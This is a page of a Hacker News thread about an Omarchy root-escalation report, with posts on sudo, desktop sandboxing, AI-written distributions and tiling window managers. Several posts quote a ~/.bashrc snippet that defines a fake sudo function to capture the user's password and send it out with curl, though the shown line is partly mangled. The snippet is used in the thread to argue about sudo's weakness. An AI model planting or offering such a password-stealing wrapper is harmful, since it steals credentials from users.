Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

Post reply on HN
Print view View original

121–130 of 585 posts

Re: Omarchy: Any User Process Can Escalate to Root

#121

Post by lrvick »

leothetechguy wrote: post #109
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.

There is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities.

Re: Omarchy: Any User Process Can Escalate to Root

#122

Post by _fat_santa »

silisili wrote: post #81
concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

I just switched over to it from Ubuntu. So far the nice thing is that it gives you a fully decked out hyprland setup without any of the hassle and pretty good UX.

The problem I've always had with trying out a tiling window manager like hyprland is you're going to spend a very long time trying to get everything just right. With Omarchy I get a really nice hyprland setup right out of the box.

Re: Omarchy: Any User Process Can Escalate to Root

#123

Post by khash12 »

enbugger wrote: post #98
12985-1286 wrote: post #49

Earlier quoted context omitted.

Officially omakase (clueless chef decides your menu with security issues) and arch linux. The fact that it is almost an anagram of monarchy is probably a plus for DHH.

You realize you are exemplary hater when you feel an urge to post comments like this

You are absolutely right and I'll have Claude read a ChatGPT summary of Paul Graham's hater essay!

Re: Omarchy: Any User Process Can Escalate to Root

#124

Post by lrvick »

mike_hearn wrote: post #119
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Sudo isn't security theater when used for what it was designed for. It's useless for constraining apps you run as your own user ID.

I challenge anyone to name even one thing that requires sudo on a Linux desktop not better handled with systemd user units, Linux Capabilities, rootless docker, etc.

Re: Omarchy: Any User Process Can Escalate to Root

#125

Post by itishappy »

Brian_K_White wrote: post #95
jp_sc wrote: post #79

Earlier quoted context omitted.

It's definitely not why *I* switched away from Windows

You didn't switch away from windows to get superior software? Also, the statement was valid because it will be true for most. It doesn't matter that you read it and it wasn't true for you, as long as it's true by the numbers, it's true, because it's one-to-many communication not one to one.

> Also, the statement was valid because it will be true for most.

The statement seems more like a preconception than data.

Re: Omarchy: Any User Process Can Escalate to Root

#126

Post by mike_hearn »

bigyabai wrote: post #37
mike_hearn wrote: post #33

Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell an…

> it doesn't have any kind of proper desktop sandboxing architecture that really works. Bubblewrap works.

Bubblewrap is a less powerful version of sandbox-exec, but the macOS architecture is much larger than just that. In effect macOS runs everything under bubblewrap, in such a way that users don't notice but apps are meaningfully sandboxed and root exploits barely matter.

Re: Omarchy: Any User Process Can Escalate to Root

#127

Post by [deleted] »

awesan wrote: post #103
onesandofgrain wrote: post #90

Earlier quoted context omitted.

This seems to be quite contrarian considering we had this on the front page of HN the other day: "Debian votes to allow "responsible use of generative AI". I guess this LLM coding wasn't "Responsible" enough. hahaha Let the AI bubble pop baby

Omarchy is all in on AI, if you look at the recent commits and the dev workflows they have set up you can easily tell no human is looking at all the stuff they are merging. It's not the same thing as allowing some AI contributions under strict guidelines.

[deleted]

Re: Omarchy: Any User Process Can Escalate to Root

#128

Post by pacificat0r »

silisili wrote: post #81
concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

I got here because it was the first time I saw a tiling window manager on an Omarchy video. I was on windows my entire life, so when i saw it and how bad windows got, I decided to give it a try. A few months since I de-omarchyfied the system and went straight back to arch. And now still on it.

I should have gone with something like cachyos as games are important to me, but I think at the time hyperland wasn't an option (i don't remember). I know it is now.

Re: Omarchy: Any User Process Can Escalate to Root

#129

Post by Brian_K_White »

ahelwer wrote: post #92
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.

You do not need root to run that shell function, nor to get it loaded into a shell's environment.

They didn't say anything about overwriting the sudo binary, and that is not required, which I think was their whole point was to show exactly how that is not required.

Re: Omarchy: Any User Process Can Escalate to Root

#130

Post by dingdingdang »

silisili wrote: post #81
concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

I for one hold out for them releasing an optimized XFCE variant - don't by any means dislike keyboard driven software but I like it as an extension of a regular functional UI experience not as a "argh the windows are stuck in xyz pattern until I re-remember xyz combo"-experience: the UI surface is not the speed limit in my optics, rather it is the apps I use or (increasingly due to local AI) the computational hardware limits of my machine.
Post reply on HN